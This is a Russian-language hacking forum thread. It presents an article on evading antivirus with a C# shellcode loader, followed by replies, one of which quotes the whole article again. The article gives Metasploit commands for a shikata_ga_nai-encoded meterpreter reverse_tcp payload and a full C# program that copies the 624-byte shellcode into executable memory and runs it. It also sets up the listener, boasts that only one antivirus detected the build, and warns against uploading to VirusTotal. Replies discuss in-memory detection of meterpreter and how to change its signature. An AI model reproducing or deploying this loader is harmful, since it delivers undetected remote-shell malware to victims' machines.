Статья AV ByPass с помощью C#

Привет. Господа хекеры. Рассмотрим вариант байпасса антивирусов с помощью языка C#.

Обо всё предлагаю по порядку и для начала сгенерируем полезную нагрузку в метасплоите.
Код:
use windows/meterpreter/reverse_tcp
upload_2016-12-17_21-56-36.png

Устанавливаем опции
Код:
set LHOST 192.168.1.237
set LPORT 1338
set EXITFUNC thread
И генерируем нашу нагрузку для языка C#
Код:
generate -e x86/shikata_ga_nai -b '\x00' -i 3 -t csharp
upload_2016-12-17_22-7-18.png


А дальше берем нагрузку и вставляем в код ниже в переменную buf
Код:
using System;
using System.Runtime.InteropServices;

namespace ShellCodeByPass
{
    public class Program
    {
        [Flags]
        public enum AllocationType : uint
        {
            COMMIT = 0x1000,
            RESERVE = 0x2000,
            RESET = 0x80000,
            LARGE_PAGES = 0x20000000,
            PHYSICAL = 0x400000,
            TOP_DOWN = 0x100000,
            WRITE_WATCH = 0x200000
        }

        [Flags]
        public enum MemoryProtection : uint
        {
            EXECUTE = 0x10,
            EXECUTE_READ = 0x20,
            EXECUTE_READWRITE = 0x40,
            EXECUTE_WRITECOPY = 0x80,
            NOACCESS = 0x01,
            READONLY = 0x02,
            READWRITE = 0x04,
            WRITECOPY = 0x08,
            GUARD_Modifierflag = 0x100,
            NOCACHE_Modifierflag = 0x200,
            WRITECOMBINE_Modifierflag = 0x400
        }

        public enum OpcodesToFree : uint
        {
            MEM_DECOMMIT = 0x4000,
            MEM_RELEASE = 0x8000
        }

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, AllocationType flAllocationType, MemoryProtection flProtect);

        [DllImport("kernel32.dll")]
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32")]
        private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, OpcodesToFree dwFreeType);

        [UnmanagedFunctionPointerAttribute(CallingConvention.Cdecl)]
        public delegate Int32 ExecuteDelegate();

        public static void Main(string[] args)
        {
            byte[] buf = new byte[624] {
                0x89,0xe7,0xdb,0xdc,0xd9,0x77,0xf4,0x5e,0x56,0x59,0x49,0x49,0x49,0x49,0x49,
                0x49,0x49,0x49,0x49,0x49,0x43,0x43,0x43,0x43,0x43,0x43,0x37,0x51,0x5a,0x6a,
                0x41,0x58,0x50,0x30,0x41,0x30,0x41,0x6b,0x41,0x41,0x51,0x32,0x41,0x42,0x32,
                0x42,0x42,0x30,0x42,0x42,0x41,0x42,0x58,0x50,0x38,0x41,0x42,0x75,0x4a,0x49,
                0x69,0x6c,0x59,0x78,0x4c,0x42,0x45,0x50,0x63,0x30,0x37,0x70,0x33,0x50,0x4b,
                0x39,0x38,0x65,0x74,0x71,0x49,0x50,0x31,0x74,0x4e,0x6b,0x52,0x70,0x74,0x70,
                0x4c,0x4b,0x42,0x72,0x76,0x6c,0x4e,0x6b,0x71,0x42,0x57,0x64,0x6e,0x6b,0x70,
                0x72,0x31,0x38,0x76,0x6f,0x38,0x37,0x63,0x7a,0x55,0x76,0x46,0x51,0x4b,0x4f,
                0x4e,0x4c,0x75,0x6c,0x30,0x61,0x73,0x4c,0x53,0x32,0x34,0x6c,0x51,0x30,0x4a,
                0x61,0x78,0x4f,0x66,0x6d,0x75,0x51,0x59,0x57,0x58,0x62,0x79,0x62,0x42,0x72,
                0x51,0x47,0x6e,0x6b,0x72,0x72,0x42,0x30,0x6e,0x6b,0x71,0x5a,0x47,0x4c,0x4c,
                0x4b,0x50,0x4c,0x72,0x31,0x61,0x68,0x39,0x73,0x50,0x48,0x77,0x71,0x38,0x51,
                0x32,0x71,0x4c,0x4b,0x43,0x69,0x31,0x30,0x43,0x31,0x4b,0x63,0x4e,0x6b,0x33,
                0x79,0x62,0x38,0x78,0x63,0x54,0x7a,0x61,0x59,0x4e,0x6b,0x70,0x34,0x6e,0x6b,
                0x35,0x51,0x69,0x46,0x54,0x71,0x49,0x6f,0x6c,0x6c,0x79,0x51,0x38,0x4f,0x74,
                0x4d,0x33,0x31,0x38,0x47,0x45,0x68,0x39,0x70,0x52,0x55,0x6c,0x36,0x46,0x63,
                0x33,0x4d,0x39,0x68,0x65,0x6b,0x51,0x6d,0x47,0x54,0x63,0x45,0x59,0x74,0x72,
                0x78,0x6c,0x4b,0x51,0x48,0x65,0x74,0x45,0x51,0x68,0x53,0x73,0x56,0x6e,0x6b,
                0x64,0x4c,0x32,0x6b,0x4e,0x6b,0x51,0x48,0x77,0x6c,0x46,0x61,0x7a,0x73,0x6e,
                0x6b,0x45,0x54,0x4c,0x4b,0x47,0x71,0x4a,0x70,0x6e,0x69,0x51,0x54,0x45,0x74,
                0x71,0x34,0x73,0x6b,0x61,0x4b,0x51,0x71,0x76,0x39,0x43,0x6a,0x70,0x51,0x6b,
                0x4f,0x4b,0x50,0x71,0x4f,0x63,0x6f,0x33,0x6a,0x6c,0x4b,0x55,0x42,0x4a,0x4b,
                0x4c,0x4d,0x33,0x6d,0x32,0x48,0x56,0x53,0x50,0x32,0x63,0x30,0x77,0x70,0x43,
                0x58,0x63,0x47,0x62,0x53,0x50,0x32,0x61,0x4f,0x53,0x64,0x35,0x38,0x50,0x4c,
                0x63,0x47,0x37,0x56,0x46,0x67,0x79,0x6f,0x7a,0x75,0x6d,0x68,0x5a,0x30,0x33,
                0x31,0x55,0x50,0x57,0x70,0x34,0x69,0x79,0x54,0x72,0x74,0x36,0x30,0x61,0x78,
                0x77,0x59,0x4b,0x30,0x72,0x4b,0x45,0x50,0x4b,0x4f,0x48,0x55,0x71,0x7a,0x56,
                0x65,0x31,0x78,0x77,0x4e,0x4e,0x56,0x45,0x62,0x6e,0x46,0x45,0x38,0x47,0x72,
                0x37,0x70,0x43,0x35,0x65,0x6a,0x4b,0x39,0x39,0x76,0x62,0x70,0x42,0x70,0x42,
                0x70,0x56,0x30,0x43,0x70,0x52,0x70,0x73,0x70,0x42,0x70,0x61,0x78,0x7a,0x4a,
                0x46,0x6f,0x79,0x4f,0x59,0x70,0x69,0x6f,0x6a,0x75,0x4f,0x67,0x33,0x5a,0x54,
                0x50,0x36,0x36,0x30,0x57,0x35,0x38,0x7a,0x39,0x79,0x35,0x70,0x74,0x71,0x71,
                0x39,0x6f,0x6e,0x35,0x4c,0x45,0x79,0x50,0x54,0x34,0x44,0x4c,0x39,0x6f,0x50,
                0x4e,0x75,0x58,0x30,0x75,0x68,0x6c,0x55,0x38,0x48,0x70,0x4d,0x65,0x4c,0x62,
                0x30,0x56,0x49,0x6f,0x4a,0x75,0x70,0x6a,0x57,0x70,0x50,0x6a,0x74,0x44,0x31,
                0x46,0x63,0x67,0x52,0x48,0x44,0x42,0x49,0x49,0x79,0x58,0x63,0x6f,0x4b,0x4f,
                0x48,0x55,0x4c,0x4b,0x70,0x36,0x32,0x4a,0x31,0x50,0x43,0x58,0x37,0x70,0x56,
                0x70,0x75,0x50,0x63,0x30,0x73,0x66,0x53,0x5a,0x63,0x30,0x55,0x38,0x30,0x58,
                0x49,0x34,0x33,0x63,0x5a,0x45,0x49,0x6f,0x49,0x45,0x4e,0x73,0x56,0x33,0x61,
                0x7a,0x73,0x30,0x52,0x76,0x73,0x63,0x52,0x77,0x53,0x58,0x63,0x32,0x68,0x59,
                0x48,0x48,0x53,0x6f,0x79,0x6f,0x7a,0x75,0x43,0x31,0x79,0x53,0x47,0x59,0x39,
                0x56,0x34,0x35,0x5a,0x4e,0x39,0x53,0x41,0x41
            };

            byte[] schell = new byte[buf.Length];
            for (int i = 0; i < buf.Length; i++)
            {
                schell[i] = Convert.ToByte(buf[i]);
            }

            IntPtr baseAddr = VirtualAlloc(IntPtr.Zero, (UIntPtr)(schell.Length + 1), AllocationType.RESERVE | AllocationType.COMMIT, MemoryProtection.EXECUTE_READWRITE);
            System.Diagnostics.Debug.Assert(baseAddr != IntPtr.Zero, "Error: Couldn't allocate remote memory");

            try
            {
                Marshal.Copy(schell, 0, baseAddr, schell.Length);
                ExecuteDelegate del = (ExecuteDelegate)Marshal.GetDelegateForFunctionPointer(baseAddr, typeof(ExecuteDelegate));

                del();
            }
            finally
            {
                VirtualFree(baseAddr, 0, OpcodesToFree.MEM_RELEASE);
            }
        }
    }
}
Далее поднимаем листенер
Код:
use exploit/multi/handler
set LHOST 192.168.1.237
set LPORT 1338
set PAYLOAD windows/meterpreter/reverse_tcp
upload_2016-12-17_22-38-21.png


И компилируемый наш билд
upload_2016-12-17_22-42-39.png


После компиляции и запуска получаем сессию
upload_2016-12-17_22-44-9.png


А теперь ссылка со сканом нашей малвари.
upload_2016-12-17_22-46-3.png

Только один антивирус задетектил
Ссылка на скан:

НЕ ЛИТЬ НА ВИРУСТОТАЛ
 
Последнее редактирование:

kot-gor

Well-known member
07.09.2016
529
705
BIT
0
Вчера не поленился , и тоже решил прогнать метерпретер..как только запускаю шелл либо migrate, сразу начинает ругаться антивирус(антивирус касперского лицензия)...Раньше такого не было((..
 
S

SergANT85

Коллеги! Антивирус реагирует на подключение или использование какого либо доп модуля, по факту команда shell за собой ведет загрузку cmd.exe, migrate мануляции с кодом. Скажу больше, Касперский детектит метерпретер при проверки памяти. Я об этом писал выше.

Поэтому SSL не SSL, тут все равно, AV начинают понимать метерпретер не по транспорту, а по наличию его в памяти, как кода
 

kot-gor

Well-known member
07.09.2016
529
705
BIT
0
а кто знает как можно поменять сигнатуру его в памяти, шелтер сможет помочь?
 
S

SergANT85

Коллеги!
Есть мыли о проблеме обнаружения meterpretera в памяти ?
 
  • Нравится
Реакции: gushmazuko
N

NovichkUbuntu

Ах да комментарии по коду...
По факту мы выбераем текущий инстанс и создаем поток внутри памяти (поэтому надо заменить в пэйлоаде метасплоите что вывод будем делать в поток). Далее поток объявляем делегат нашей функции метрпретера которая кладет наш шелл код по адресу нашего нового потока.
я вот не пойму а где это добро можно скачивать то?
 

SooLFaa

Platinum
15.07.2016
898
1 560
BIT
36
я вот не пойму а где это добро можно скачивать то?
А нигде, статья рассчитана на тех кто в состоянии сам скомпилировать код. И я даже больше скажу в исходниках есть специальные мелкие ошибки, который любой рядовой разработчик пофиксит без труда и их подскажет компилятор. И второй момент уже нет смысла скачивать этот шеллкод ибо любой антивирус покроет трехэтажным матом. Обновленная версия на чистом C хранится в приватных недрах форумов, где я есть.
 

ckat_soft

New member
21.11.2020
1
0
BIT
3
Привет. Господа хекеры. Рассмотрим вариант байпасса антивирусов с помощью языка C#.

Обо всё предлагаю по порядку и для начала сгенерируем полезную нагрузку в метасплоите.
Код:
use windows/meterpreter/reverse_tcp
Посмотреть вложение 8037
Устанавливаем опции
Код:
set LHOST 192.168.1.237
set LPORT 1338
set EXITFUNC thread
И генерируем нашу нагрузку для языка C#
Код:
generate -e x86/shikata_ga_nai -b '\x00' -i 3 -t csharp
Посмотреть вложение 8039

А дальше берем нагрузку и вставляем в код ниже в переменную buf
Код:
using System;
using System.Runtime.InteropServices;

namespace ShellCodeByPass
{
    public class Program
    {
        [Flags]
        public enum AllocationType : uint
        {
            COMMIT = 0x1000,
            RESERVE = 0x2000,
            RESET = 0x80000,
            LARGE_PAGES = 0x20000000,
            PHYSICAL = 0x400000,
            TOP_DOWN = 0x100000,
            WRITE_WATCH = 0x200000
        }

        [Flags]
        public enum MemoryProtection : uint
        {
            EXECUTE = 0x10,
            EXECUTE_READ = 0x20,
            EXECUTE_READWRITE = 0x40,
            EXECUTE_WRITECOPY = 0x80,
            NOACCESS = 0x01,
            READONLY = 0x02,
            READWRITE = 0x04,
            WRITECOPY = 0x08,
            GUARD_Modifierflag = 0x100,
            NOCACHE_Modifierflag = 0x200,
            WRITECOMBINE_Modifierflag = 0x400
        }

        public enum OpcodesToFree : uint
        {
            MEM_DECOMMIT = 0x4000,
            MEM_RELEASE = 0x8000
        }

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, AllocationType flAllocationType, MemoryProtection flProtect);

        [DllImport("kernel32.dll")]
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32")]
        private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, OpcodesToFree dwFreeType);

        [UnmanagedFunctionPointerAttribute(CallingConvention.Cdecl)]
        public delegate Int32 ExecuteDelegate();

        public static void Main(string[] args)
        {
            byte[] buf = new byte[624] {
                0x89,0xe7,0xdb,0xdc,0xd9,0x77,0xf4,0x5e,0x56,0x59,0x49,0x49,0x49,0x49,0x49,
                0x49,0x49,0x49,0x49,0x49,0x43,0x43,0x43,0x43,0x43,0x43,0x37,0x51,0x5a,0x6a,
                0x41,0x58,0x50,0x30,0x41,0x30,0x41,0x6b,0x41,0x41,0x51,0x32,0x41,0x42,0x32,
                0x42,0x42,0x30,0x42,0x42,0x41,0x42,0x58,0x50,0x38,0x41,0x42,0x75,0x4a,0x49,
                0x69,0x6c,0x59,0x78,0x4c,0x42,0x45,0x50,0x63,0x30,0x37,0x70,0x33,0x50,0x4b,
                0x39,0x38,0x65,0x74,0x71,0x49,0x50,0x31,0x74,0x4e,0x6b,0x52,0x70,0x74,0x70,
                0x4c,0x4b,0x42,0x72,0x76,0x6c,0x4e,0x6b,0x71,0x42,0x57,0x64,0x6e,0x6b,0x70,
                0x72,0x31,0x38,0x76,0x6f,0x38,0x37,0x63,0x7a,0x55,0x76,0x46,0x51,0x4b,0x4f,
                0x4e,0x4c,0x75,0x6c,0x30,0x61,0x73,0x4c,0x53,0x32,0x34,0x6c,0x51,0x30,0x4a,
                0x61,0x78,0x4f,0x66,0x6d,0x75,0x51,0x59,0x57,0x58,0x62,0x79,0x62,0x42,0x72,
                0x51,0x47,0x6e,0x6b,0x72,0x72,0x42,0x30,0x6e,0x6b,0x71,0x5a,0x47,0x4c,0x4c,
                0x4b,0x50,0x4c,0x72,0x31,0x61,0x68,0x39,0x73,0x50,0x48,0x77,0x71,0x38,0x51,
                0x32,0x71,0x4c,0x4b,0x43,0x69,0x31,0x30,0x43,0x31,0x4b,0x63,0x4e,0x6b,0x33,
                0x79,0x62,0x38,0x78,0x63,0x54,0x7a,0x61,0x59,0x4e,0x6b,0x70,0x34,0x6e,0x6b,
                0x35,0x51,0x69,0x46,0x54,0x71,0x49,0x6f,0x6c,0x6c,0x79,0x51,0x38,0x4f,0x74,
                0x4d,0x33,0x31,0x38,0x47,0x45,0x68,0x39,0x70,0x52,0x55,0x6c,0x36,0x46,0x63,
                0x33,0x4d,0x39,0x68,0x65,0x6b,0x51,0x6d,0x47,0x54,0x63,0x45,0x59,0x74,0x72,
                0x78,0x6c,0x4b,0x51,0x48,0x65,0x74,0x45,0x51,0x68,0x53,0x73,0x56,0x6e,0x6b,
                0x64,0x4c,0x32,0x6b,0x4e,0x6b,0x51,0x48,0x77,0x6c,0x46,0x61,0x7a,0x73,0x6e,
                0x6b,0x45,0x54,0x4c,0x4b,0x47,0x71,0x4a,0x70,0x6e,0x69,0x51,0x54,0x45,0x74,
                0x71,0x34,0x73,0x6b,0x61,0x4b,0x51,0x71,0x76,0x39,0x43,0x6a,0x70,0x51,0x6b,
                0x4f,0x4b,0x50,0x71,0x4f,0x63,0x6f,0x33,0x6a,0x6c,0x4b,0x55,0x42,0x4a,0x4b,
                0x4c,0x4d,0x33,0x6d,0x32,0x48,0x56,0x53,0x50,0x32,0x63,0x30,0x77,0x70,0x43,
                0x58,0x63,0x47,0x62,0x53,0x50,0x32,0x61,0x4f,0x53,0x64,0x35,0x38,0x50,0x4c,
                0x63,0x47,0x37,0x56,0x46,0x67,0x79,0x6f,0x7a,0x75,0x6d,0x68,0x5a,0x30,0x33,
                0x31,0x55,0x50,0x57,0x70,0x34,0x69,0x79,0x54,0x72,0x74,0x36,0x30,0x61,0x78,
                0x77,0x59,0x4b,0x30,0x72,0x4b,0x45,0x50,0x4b,0x4f,0x48,0x55,0x71,0x7a,0x56,
                0x65,0x31,0x78,0x77,0x4e,0x4e,0x56,0x45,0x62,0x6e,0x46,0x45,0x38,0x47,0x72,
                0x37,0x70,0x43,0x35,0x65,0x6a,0x4b,0x39,0x39,0x76,0x62,0x70,0x42,0x70,0x42,
                0x70,0x56,0x30,0x43,0x70,0x52,0x70,0x73,0x70,0x42,0x70,0x61,0x78,0x7a,0x4a,
                0x46,0x6f,0x79,0x4f,0x59,0x70,0x69,0x6f,0x6a,0x75,0x4f,0x67,0x33,0x5a,0x54,
                0x50,0x36,0x36,0x30,0x57,0x35,0x38,0x7a,0x39,0x79,0x35,0x70,0x74,0x71,0x71,
                0x39,0x6f,0x6e,0x35,0x4c,0x45,0x79,0x50,0x54,0x34,0x44,0x4c,0x39,0x6f,0x50,
                0x4e,0x75,0x58,0x30,0x75,0x68,0x6c,0x55,0x38,0x48,0x70,0x4d,0x65,0x4c,0x62,
                0x30,0x56,0x49,0x6f,0x4a,0x75,0x70,0x6a,0x57,0x70,0x50,0x6a,0x74,0x44,0x31,
                0x46,0x63,0x67,0x52,0x48,0x44,0x42,0x49,0x49,0x79,0x58,0x63,0x6f,0x4b,0x4f,
                0x48,0x55,0x4c,0x4b,0x70,0x36,0x32,0x4a,0x31,0x50,0x43,0x58,0x37,0x70,0x56,
                0x70,0x75,0x50,0x63,0x30,0x73,0x66,0x53,0x5a,0x63,0x30,0x55,0x38,0x30,0x58,
                0x49,0x34,0x33,0x63,0x5a,0x45,0x49,0x6f,0x49,0x45,0x4e,0x73,0x56,0x33,0x61,
                0x7a,0x73,0x30,0x52,0x76,0x73,0x63,0x52,0x77,0x53,0x58,0x63,0x32,0x68,0x59,
                0x48,0x48,0x53,0x6f,0x79,0x6f,0x7a,0x75,0x43,0x31,0x79,0x53,0x47,0x59,0x39,
                0x56,0x34,0x35,0x5a,0x4e,0x39,0x53,0x41,0x41
            };

            byte[] schell = new byte[buf.Length];
            for (int i = 0; i < buf.Length; i++)
            {
                schell[i] = Convert.ToByte(buf[i]);
            }

            IntPtr baseAddr = VirtualAlloc(IntPtr.Zero, (UIntPtr)(schell.Length + 1), AllocationType.RESERVE | AllocationType.COMMIT, MemoryProtection.EXECUTE_READWRITE);
            System.Diagnostics.Debug.Assert(baseAddr != IntPtr.Zero, "Error: Couldn't allocate remote memory");

            try
            {
                Marshal.Copy(schell, 0, baseAddr, schell.Length);
                ExecuteDelegate del = (ExecuteDelegate)Marshal.GetDelegateForFunctionPointer(baseAddr, typeof(ExecuteDelegate));

                del();
            }
            finally
            {
                VirtualFree(baseAddr, 0, OpcodesToFree.MEM_RELEASE);
            }
        }
    }
}
Далее поднимаем листенер
Код:
use exploit/multi/handler
set LHOST 192.168.1.237
set LPORT 1338
set PAYLOAD windows/meterpreter/reverse_tcp
Посмотреть вложение 8040

И компилируемый наш билд
Посмотреть вложение 8041

После компиляции и запуска получаем сессию
Посмотреть вложение 8042

А теперь ссылка со сканом нашей малвари.
Посмотреть вложение 8043
Только один антивирус задетектил
Ссылка на скан:

НЕ ЛИТЬ НА ВИРУСТОТАЛ
Странно. Проект компилится но не работает
Attempted to read or write protected memory. This is often an indication that other memory is corrupt.
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!